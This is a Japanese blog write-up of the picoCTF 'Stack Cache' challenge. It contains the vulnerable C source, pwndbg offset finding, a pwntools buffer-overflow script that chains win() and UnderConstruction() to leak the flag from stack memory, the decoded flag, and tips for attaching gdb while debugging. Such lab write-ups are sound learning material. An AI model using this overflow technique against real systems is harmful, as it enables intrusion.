Logo

picoCTF Stack Cache Write up & GDB

picoCTF Stack Cache の Write up と GDB でのデバッグ方法を少々記録する。

Last Modified: 2025/12/07



Stack Cache write up

問題のコードは以下の通り

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <wchar.h>

#define BUFSIZE 16
#define FLAGSIZE 64
#define INPSIZE 10

/*
This program is compiled statically with clang-12
without any optimisations.
*/

void win() {
  char buf[FLAGSIZE];
  char filler[BUFSIZE];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
           "own debugging flag.\n");
    exit(0);
  }

  fgets(buf, FLAGSIZE, f); // size bound read
}

void UnderConstruction() {
  // this function is under construction
  char consideration[BUFSIZE];
  char *demographic, *location, *identification, *session, *votes, *dependents;
  char *p, *q, *r;
  // *p = "Enter names";
  // *q = "Name 1";
  // *r = "Name 2";
  unsigned long *age;
  printf("User information : %p %p %p %p %p %p\n", demographic, location,
         identification, session, votes, dependents);
  printf("Names of user: %p %p %p\n", p, q, r);
  printf("Age of user: %p\n", age);
  fflush(stdout);
}

void vuln() {
  char buf[INPSIZE];
  printf("Give me a string that gets you the flag\n");
  gets(buf);
  printf("%s\n", buf);
  return;
}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  printf("Bye!");
  return 0;
}

vuln 関数ではシンプルなバッファオーバーフロー脆弱性がある

win 関数では flag の内容を buf 変数に格納する

そして、一度も呼ばれていない UnderConstruction 関数がある。ここでは初期化されていない変数をたくさん表示させている。format string attack のようなことができようになっており、スタックの内容が表示できるようになっている。

プランとしては BOF 攻撃で win 関数にジャンプしてフラグを読み取った後 UnderConstruction 関数に飛んでスタックの内容を表示すればフラグが表示されるはず…

セキュリティ機構は以下の通り

$ checksec --file=vuln
[*] '/home/fedora/CTF/picoCTF/practice/stack_cache/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

No PIE なので簡単に関数のアドレスが得られる。

まずリターンアドレスを書き換えるまでのオフセットを確認する。

pwndbg> cyclic 20
aaaabaaacaaadaaaeaaa
pwndbg> r


...


───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ esp 0xffffce30 ◂— 0x6161 /* 'aa' */
01:0004│     0xffffce34 ◂— 0x3e8
02:0008│     0xffffce38 ◂— 0x3e8
03:000c│     0xffffce3c ◂— 0
04:0010│     0xffffce40 ◂— 0x3e8
05:0014│     0xffffce44 ◂— 0
06:0018│     0xffffce48 ◂— 0
07:001c│     0xffffce4c —▸ 0x804a7ad (__libc_start_main+1309) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
 ► 0 0x61656161 None
   1   0x6161 None
   2    0x3e8 None
   3    0x3e8 None
   4      0x0 None
───────────────────────────────────────────────────────────────────────────────

pwndbg> cyclic -l aaea
Finding cyclic pattern of 4 bytes: b'aaea' (hex: 0x61616561)
Found at offset 14

オフセットは 14

このオフセットの後に win 関数のアドレス、UnderConstruction 関数のアドレスを入れれば、win 関数の後につづいて UnderConstruction 関数が呼ばれる。

それぞれのアドレスは以下でわかる。

$ readelf -s vuln | egrep "UnderConstruction|win$"
  1305: 08049e10   148 FUNC    GLOBAL DEFAULT    6 UnderConstruction
  1690: 08049d90   122 FUNC    GLOBAL DEFAULT    6 win

exploit コードは以下の通り。

from pwn import *

#p = process("./vuln")
p = remote("saturn.picoctf.net", 50942)

p.recvline()

win = p32(0x8049d90)
underconst = p32(0x08049e10)
payload = b"A"*14 + win + underconst

p.sendline(payload)
p.interactive()

実行すると以下のような出力が得られる

$ python3 solve.py
[┤] Opening connection to saturn.picoctf.net on port 50942: Trying 13.59.203.17[+] Opening connection to saturn.picoctf.net on port 50942: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAA\x90\x9d\x04\x08\x10\x9e\x04\x08
User information : 0x80c9a04 0x804007d 0x65343863 0x33663462 0x5f597230 0x6d334d5f
Names of user: 0x50755f4e 0x34656c43 0x7b465443
Age of user: 0x6f636970
[*] Got EOF while reading in interactive

上記のようにスタックの内容が出力されている。 これらを文字列に直すことでフラグが得られる。 little endian なので反対から読む必要があるけど。

>>> a = "}e48c3f4b_Yr0m3M_Pu_N4elC{FTCocip"
>>> a[::-1]
'picoCTF{Cle4N_uP_M3m0rY_b4f3c84e}'

デバッグ編

こういうバイナリを入力して攻撃する際、どうやってデバッグしたらいいのかよくわからなかったので、今回学んだことを備忘録として残す。(こっちが本題まである)

バイナリの値をキーボードから直接入力することはできないのでファイルに書き出して、ファイルの内容を入力として実行する。

payload というファイルに攻撃する内容を書き出したら pwndbg で以下のように実行すればよい。

pwndbg> r < payload

また、python で動的にデバッグすることもできる。

以下のようにpythonコード内で gdb を呼び出すことができ、gdb で実行する内容も渡すことができる。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

gdb_script = f"""
b *vuln+55
r < payload
"""

p = process("./vuln")
#p = remote("saturn.picoctf.net", 50942)

p.recvline()

win = p32(0x8049d90)
underconst = p32(0x08049e10)
payload = b"A"*14 + win + underconst
with open("payload", "wb") as f:
    f.write(payload)

p.sendline(payload)
gdb.attach(p, gdbscript=gdb_script)
p.interactive()

自分の環境だと tmux の中で実行しないとエラーになるので tmux の中から実行できるように設定している。

これを実行すると別のペインが開いて gdb が実行できる。